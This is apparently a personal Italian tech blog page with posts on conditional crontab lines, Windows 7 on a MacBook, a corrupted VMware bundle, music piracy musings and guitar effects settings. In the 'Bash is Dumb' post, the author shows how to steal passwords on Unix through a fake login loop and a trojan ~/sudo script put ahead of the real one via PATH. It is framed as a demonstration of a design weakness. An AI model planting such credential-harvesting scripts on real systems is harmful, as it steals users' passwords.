7 set 2010

Crontab condizionale

Ho la necessità di schedulare ad un orario prestabilito un job tramite crontab. All'ora prestabilita vorrei però che venga effettuato un controllo aggiuntivo, come l'esistenza di un file, l'attivazione di un servizio, o altro. Come posso fare?

Il job è inserito nella crontab in questo modo:

0 4 * * * sincronizza_dati.sh

il che indica che ogni mattina alle ore 4 verrà eseguito lo script sincronizza_dati.sh. Vorrei però eseguire questo script solamente se il servizio httpd è attivo.

Il mio script sincronizza_dati.sh potrebbe incominciare in questo modo:

#!/usr/bin/bash

if [ `service httpd status  | awk ' { print $3 } '` = "stopped" ]
then
  echo "Servizio disattivato! Usciamo!"
  exit
fi

echo "Servizio attivato! Procediamo con la sincronizzazione"

e spesso questa è la soluzione migliore (specie se la sincronia per andare a buon fine richiede per davvero che il servizio httpd sia attivo).
Ma se non è questo il caso allora meglio mettere la condizione nel crontab: in questo modo diventa anche più chiaro capire in quali condizioni lo script viene eseguito.

L'unico problema è trovare la sintassi giusta per farci stare tutto il comando su di una sola riga. Ad esempio si può scrivere il comando così:

0 4 * * * if [ `service httpd status  | awk ' { print $5 } '` = "running..." ]; then sincronizza_dati.sh; fi

Magari con l'aiuto di qualche script in perl si può avere una soluzione più pulita (non è bello avere una schifezza di awk sulla tabella crontab) ma... di quello ne parleremo nel prossimo disco!

9 giu 2010

Windows 7 su MacBook

Non posso perdonare a Mac OS X di avermi perso, in seguito ad un crash di sistema, la mia macchina virtuale Windows 7 preferita che facevo girare con VMWare Fusion.

Lo minacciavo da tempo ma credo sia giunto il momento della vendetta! Ho deciso finalmente di installare il sistema in dual boot, con una partizione Mac OS X per giocare, ed una seconda partizione Windows 7 per le cose serie.

Faccio partire BootCamp, e...


argh... che il disco fosse sputtanato non c'erano dubbi altrimenti non avrei perso la mia povera macchina virtuale... ma cosa si può fare ora? Lancio l'Utility Disco e...


bene bene sempre meglio... provo a cliccare sulla riparazione permessi, già sapendo che non risolverà il problema, ma è l'unico bottone interessante che vedo nei paraggi...


ma da dove caspita vengono fuori tutti questi errori? Sono certo di non aver toccato nulla! Naturalmente la risoluzione degli errori di permesso va a buon fine, ma BootCamp non ne vuole sapere di procedere.

Bisogna inserire il DVD 1 del Mac, riavviare il sistema e far partire l'utility di riparazione del disco da lì. La riparazione questa volta funziona, riavvio la carcassa e accedo a BootCamp, che adesso mi partiziona il disco senza fiatare, inserisco il supporto di installazione di Windows 7 e lo faccio partire.

Installazione Windows
Windows 7 si installa alla perfezione! Bene bene... appena avviato lo faccio appartenere al dominio aziendale, così posso iniziare ad accedere ai miei dati ed a configurare i miei programmi, quindi riavvio il sistema. Il più è fatto!

Al riavvio mi chiede di premere CTRL + ALT + CANC e... ma dove caspita è il tasto CANC?
Possibile che, con tutti i tasti inutili che ci sono, Apple ha deciso proprio di eliminare il tasto CANC?
Su Fusion bastava premete FN + CTRL + ALT + BACKSPACE... ma qui? Nulla nulla nulla.

Cerco un po' su Google, e vedo che è necessario installare qualche programma, tipo Remapper, per far funzionare la tastiera come si deve. Non c'è niente da dire, lo zio Jobs se le inventa tutte pur di non farti abbandonare quella ciofeca di Mac OS X!

E così sorgono le classiche domande esistenziali: se sono in dominio non posso accedere al PC, perché mi serve il tasto CTRL, se sono fuori dominio non posso accedere ad Internet perché... con la tastiera sconfigurata non posso digitare la mia password!

Siccome ne so una più del diavolo, mi collego alla macchina tramite software di controllo remoto che nel frattempo si è installato e configurato in automatico grazie alle group policy di dominio (che Dio le benedica), clicco fiducioso sul pulsante "Send CTRL+ALT+CANC to Remote Machine", e vedo che ciò non serve assolutamente a nulla.

Provo ad installare il Remapper da remoto, tramite psexec, ma (come direbbe Pino Rauti) se l'installer non è in formato .MSI so già che non funzionerà.

Domani mi procuro una tastiera USB e vediamo chi è che comanda!

BootCamp Drivers
Collego una bella tastiera USB, digito CTRL + ALT + CANC, e finalmente accedo al sistema.

Installo il Remapper, riavvio, e vedo che non serve a nulla. Nel frattempo penso che non sarebbe male installare i driver di Windows che si trovano nel DVD del Mac.

Noto con gioia che l'installer nel DVD non è compatibile con Windows 7; la versione dell'installer compatibile con Windows 7, presente nel sito Apple, è invece un aggiornamento. Ma come faccio ad installare un aggiornamento se non posso installare la versione precedente?

Installo i drivers a mano, e riavvio.

Manca solo il mouse Apple, che viene rilevato ma non funziona. Per adesso mi accontento di un mouse USB. Certo che Windows 7 e gli applicativi per Windows, a parità di macchina, sembrano davvero molto più veloci.

Vittoria.

Economia idiota della musica digitale

Stavo facendo una riflessione.

Quando voglio comperare un CD mi guardo un po' di prezzi su Internet, acquisto dal miglior offerente, e attendo una o due settimane che mi arrivi il supporto (siccome sono un collezionista non mi piace acquistare musica digitale e trovo che il prezzo dei brani su iTunes sia assolutamente sproporzionato... a volte un CD originale costa meno! Il prezzo adeguato per la musica digitale è: gratis).

Se però si tratta di un CD a cui tengo particolarmente, nell'attesa che il corriere scopra come uscire dalle campagne in cui si è perso cercando la mia via... mi procuro i brani in altro modo...

Non sto facendo una vera e propria violazione di diritti d'autore (almeno, non in questo specifico caso eheh)... diciamo che sto interpretanto i diritti un po' a mio favore... ma alla fine l'artista non ci perde nulla, e la casa discografica nemmeno.

Quindi questo potrebbe essere un esempio di download dal p2p in cui tutti sono felici, e non viene danneggiato nessuno?

Beh... credo che il negozio qui vicino avrebbe qualche cosa da ridire: in fondo vende i CD a qualche euro in più ma quegli euro potrebbero essere giustificati da un servizio migliore (pronta disponibilità del prodotto). Se non ci fosse il p2p i CD più interessanti sarei costretto ad acquistarli lì, costi quel che costi!

Quindi alla fine... chi ci guadagna sono sempre le "grandi multinazionali delle vendite per corrispondenza" (mi piace questo termine ahah) e chi ci perde sono sempre i più piccoli.

Perché faccio queste riflessioni così profonde?

Forse perché ho letto della robaccia come Frekonomics, ed ora sto leggendo il (consigliatissimo) Does IT Matter. O forse perché mi manca un po' di svitol nelle rotelle della testa.

Anche perché, in fondo in fondo, del negoziante qui all'angolo non me ne frega un bel nulla, di CD ne acquisto sempre di meno, e se i CD qui intorno costano di più forse non è perché il negoziante fornisce un servizio migliore, ma probabilmente è soltanto un gran simpaticone.

Il bundle è danneggiato e non può essere aperto

Ieri mentre stavo salvando un documento di testo sul mio MacBook Pro, il fido Komodo Edit se ne è andato in "girandola colorata rotante".

Beh poco male - penso io - basta aprire Monitoraggio Attività ed uccidere l'applicazione e... no, niente! L'applicazione non ne vuole sapere di spirare. Anzi, il morbo della girandola colorata si espande ed arriva ad attaccare pure la stessa finestra del Monitoraggio Attività.

Gli altri programmi funzionano egregiamente, ma poiché il resto del sistema pare dare segni di instabilità e sembra inesorabilmente sempre più inchiappettato, decido che forse è giunto il momento di riavviare l'intero sistema.

Sia chiaro, il riavvio è sempre un'ammissione di fallimento. Ed in tutte le gare di uptime che si tengono abitualmente tra colleghi in ufficio, i miei sistemi Windows vs qualsiasi-altra-cosa ne escono sempre vittoriosi. Ma qui non si parla di Windows, pertanto a mali estremi, estremi rimedi.

Dopo molti interminabili minuti di macinazione, finalmente la baracca di alluminio cessa di grattare e si spegne. Faccio ripartire il tutto, riapro il mio editor di testo quasi preferito (sì mi manca il Notepad++, ma devo ammettere che il Total Commander mi manca più ancora), finisco il lavoro creativo e me ne vado a casa, dove una birra fresca mi attende in frigorifero.

Oggi apro il mio bel VMWare Fusion, con la mia macchina virtuale Windows 7 senza la quale non potrei vivere, con gli applicativi che, pur essendo virtuali, non crashano mai e girano come frecce umiliando tristemente i corrispettivi Mac, e... orrore orrore orrore...:


No, tutti i suggerimenti della KB di VMWare non servono a nulla, tutte le snapshot se ne sono andate per sempre, tutti i consigli dei macachi di passare a Parallels sono (come direbbe Shmidt) bullshit: che sia ora di passare definitivamente a Windows 7?

29 apr 2010

A Taste of Computer Security

Segnalazione link:

A Taste of Computer Security

9 apr 2010

Bash is Dumb

Microsoft Windows è universalmente riconosciuto come il sistema operativo più insicuro della storia, e l'infinita quantità di sistemi attaccati con successo da software malvagio ce lo sta giornalmente a confermare. I vari Linux, Unix, e di conseguenza anche Mac, sono considerati intrinsecamente ed architetturalmente più sicuri. Ma sarà davvero così?

Prendendo spunto da qualche idea presa qua e là, ho voluto provare a vedere se il sistema è davvero così inattaccabile come si dice.

Spoofing negli anni 80
L'idea è semplice e banale, oltre che vecchia come il cucco. Come rubare le password agli utenti di *nix senza nemmeno usare tecniche di attacco brute force contro le hash degli utenti (che negli anni '80 erano accessibili a tutti)?
Più semplice che rubare caramelle ad un bambino: basta scrivere un bello script bash come il seguente:

while true; do
  clear
  echo -n Login:
  read login
  echo -n Password:
  read -s password
  echo \"$login\"; \"$password\" >> .password_rubate
  echo Sorry, please try again
done

lanciarlo in esecuzione, e spostarsi dalla postazione lasciando attiva la propria sessione.

Chiaro che tale tecnica di attacco ha delle evidenti controindicazioni: tanto per cominciare è in modalità testo ed oggi quasi tutti preferiscono la grafica; in secondo luogo un utente furbetto potrebbe facilmente accorgersi dell'inganno; in terzo luogo un amministratore lancerà un bel userdel vostroaccount, con gioia ed allegria. E' un tipico esempio di phishing (o spoofing), il classico scherzo da aula informatica universitaria.

Certo è un esempio banale, ma è interessante notare che il sistema non sta facendo nulla per proteggerci!

Spoofing Moderno
Il vecchio attacco potrebbe funzionare per davvero, ma se nessuno ne ha mai tratto grossi benefici forse una ragione c'è. Prendiamo spunto dall'esempio precedente, e saliamo (poco) di livello.

Su piattaforma *nix esistono dei programmi che richiedono l'inserimento di una password per svolgere alcune operazioni; tali programmi potrebbero richiedere la password di un utente non privilegiato, oppure dell'utente root. In questo modo si viene incentivati ad utilizzare account con privilegi limitati, e questo è bene.

Facciamo un breve controllo?

macbook-pro:~ fthiella$ echo $PATH
/usr/bin:/bin:/usr/sbin:/sbin:/usr/local/bin:/usr/X11/bin
macbook-pro:~ fthiella$ which su
/usr/bin/su
macbook-pro:~ fthiella$ which sudo
/usr/bin/sudo

naturalmente su e sudo non sono file modificabili, e se scrivere un buon keylogger è complesso, eseguirlo senza privilegi è ancora più complicato. Vediamo se si può sfruttare qualche ingenuità della shell?

macbook-pro:~ fthiella$ touch ~/su
macbook-pro:~ fthiella$ chmod +x ~/su
macbook-pro:~ fthiella$ touch ~/sudo
macbook-pro:~ fthiella$ touch +x ~/sudo
macbook-pro:~ fthiella$ export PATH=~:$PATH
macbook-pro:~ fthiella$ which su
/Users/fthiella/su
macbook-pro:~ fthiella$ which sudo
/Users/fthiella/sudo

argh! Oppure anche questo è divertente:

macbook-pro:~ fthiella$ echo \#\!/bin/bash > ~/su
macbook-pro:~ fthiella$ echo echo Perepèperepè >> ~/su
macbook-pro:~ fthiella$ chmod +x ~/su
macbook-pro:~ fthiella$ echo \#!/bin/bash > ~/sudo
macbook-pro:~ fthiella$ echo echo Prrrrrrrrrrr >> ~/sudo
macbook-pro:~ fthiella$ chmod +x ~/sudo
macbook-pro:~ fthiella$ alias su=~/su
macbook-pro:~ fthiella$ alias sudo=~/sudo
macbook-pro:~ fthiella$ su -
Perepèperepè
macbook-pro:~ fthiella$ sudo apt-get update
Prrrrrrrrrrr

did you get the point?

Esempio
Beh supponiamo di riuscire a convincere un utente scemotto ad eseguire il seguente scriptino. Come convincerlo? Un po' di ingegneria sociale... un programma che sembra utile ma contiene qualche funzioncina non documentata... un bug di qualche applicativo (es. FireFox) anche se eseguito con privilegi limitati.

#!/bin/bash
if [[ `which sudo` == /usr/* ]]
then
  echo "echo -n \"Password:\"" > ~/sudo
  echo "read -s password" >> ~/sudo
  echo "echo \"\$password\" >> ~/.password_rubate" >> ~/sudo
  echo "echo \"\$password\" | `which su` -S \$1 \$2 \$3 \$4 \$5 \$6 \$7 \$8 \$9" >> ~/sudo
  chmod +x ~/sudo
  export PATH=~:$PATH
fi

funzionerà?

macbook-pro:~ fthiella$ echo $PATH
/usr/bin:/bin:/usr/sbin:/sbin:/usr/local/bin:/usr/X11/bin
macbook-pro:~ fthiella$ . ./attack.sh
macbook-pro:~ fthiella$ echo $PATH
/Users/fthiella:/usr/bin:/bin:/usr/sbin:/sbin:/usr/local/bin:/usr/X11/bin
macbook-pro:~ fthiella$ cat ~/sudo
echo -n "Password:"
read -s password
echo "$password" >> ~/.steal_password
echo "$password" | /usr/bin/sudo -S $1 $2 $3 $4 $5 $6 $7 $8 $9
macbook-pro:~ fthiella$ sudo ls
Password:
è interessante notare che la richiesta di password arriva dal finto sudo, e non da quello vero. Mediante semplici impostazioni che non richiedono privilegi elevati, possiamo intercettare con gaudio le password del sistema.

Conclusioni
Gli esempi sono talmente banali che molti si domanderanno se si tratti sul serio di un problema architetturale di sicurezza. Certo per metterlo in pratica con successo ci vuole molto altro, ma un problema è difficile negare che non ci sia.

Forse impedire agli utenti di creare eseguibili nelle proprie aree aiuta molto (ma bisogna lavorare molto bene con i privilegi, e diventa un lavoro molto complesso).

Naturalmente queste tecniche non funzionano in modalità grafica, ma se la protezione non viene garantita dal sistema operativo, ho come il sospetto che qualche trucco funzionante lo si trovi comunque.

2 apr 2010

Utilizzare un pedale di espressione con il G-Major

Il G-Major è un multieffetto digitale prodotto dalla t.c. Electronic. Oggi si tratta di un modello fuori produzione, sostituito dal G-Major2, ma una decina di anni fa si è distinto per la sua trasparenza, per gli effetti di buona qualità, e per disporre di un doppio circuito di relay con cui simulare due interruttori (controllare un amplificatore valvolare via MIDI non ha prezzo).
Sfortunatamente le manopole sono come dire un tantino "delicate", anche se il buon RealMajor mi ha salvato la vita in parecchie occasioni.

Se con gli Invaders non l'ho mai sfruttato più di tanto (un filo di compressore, chorus e riverbero sui puliti; quasi zero riverbero sui crunch; poco delay sugli assoli), con i nuovissimi E-Liars invece mi serve un po' di tutto: chorus, phaser e delay, ma più spesso ancora octaver o pitch shifter. E perchè non un whammy? Anche se un po' vecchiotto il G-Major mi sembra ancora adeguato. Soltanto quando diventerò milionario grazie all'arbitrage probabilmente deciderò di sostituirlo.

Pedale di espressione

Tramite un pedale di espressione (collegabile direttamente al multieffetto) è possibile controllare uno o più parametri qualsiasi degli effetti. In alternativa, con un controller o pedaliera MIDI se ne possono pilotare fino a quattro.

Per controllare un parametro di un effetto (es. volume, pitch, mix, etc...) con un pedale di espressione (collegato direttamente al multieffetto), si può procedere così:

  • premere il tasto MOD, e scegliere M1 con la rotellina esterna;
  • assegnare M1, con la rotellina interna, a Pedal;
  • premere la rotellina interna;
  • con la rotellina esterna possiamo vedere l'elenco di tutti i parametri controllabili. Per controllare un parametro con il nostro pedale di espressione, assegniamo a questo parametro il nostro buon M1.
  • assegniamo quindi i valori MinOut (valore assegnato al parametro quando il pedale è al minimo), MidOut (valore assegnato quando il pedale è a metà), MaxOut (valore assegnato quando il pedale è al massimo)
Naturalmente con lo stesso pedale è possibile controllare più parametri diversi, anche in contemporanea, ognuno con la sua diversa curva di risposta. So far so good. Non chiedetemi come impostare più di un pedale di espressione: la mia pedaliera MIDI multi-pedale-di-espressione è defunta quando un gruppo di fan è saltato sul palco e... ma questa è un'altra storia. Ma avete visto che figata l'accordatore polifonico della t.c.electronic?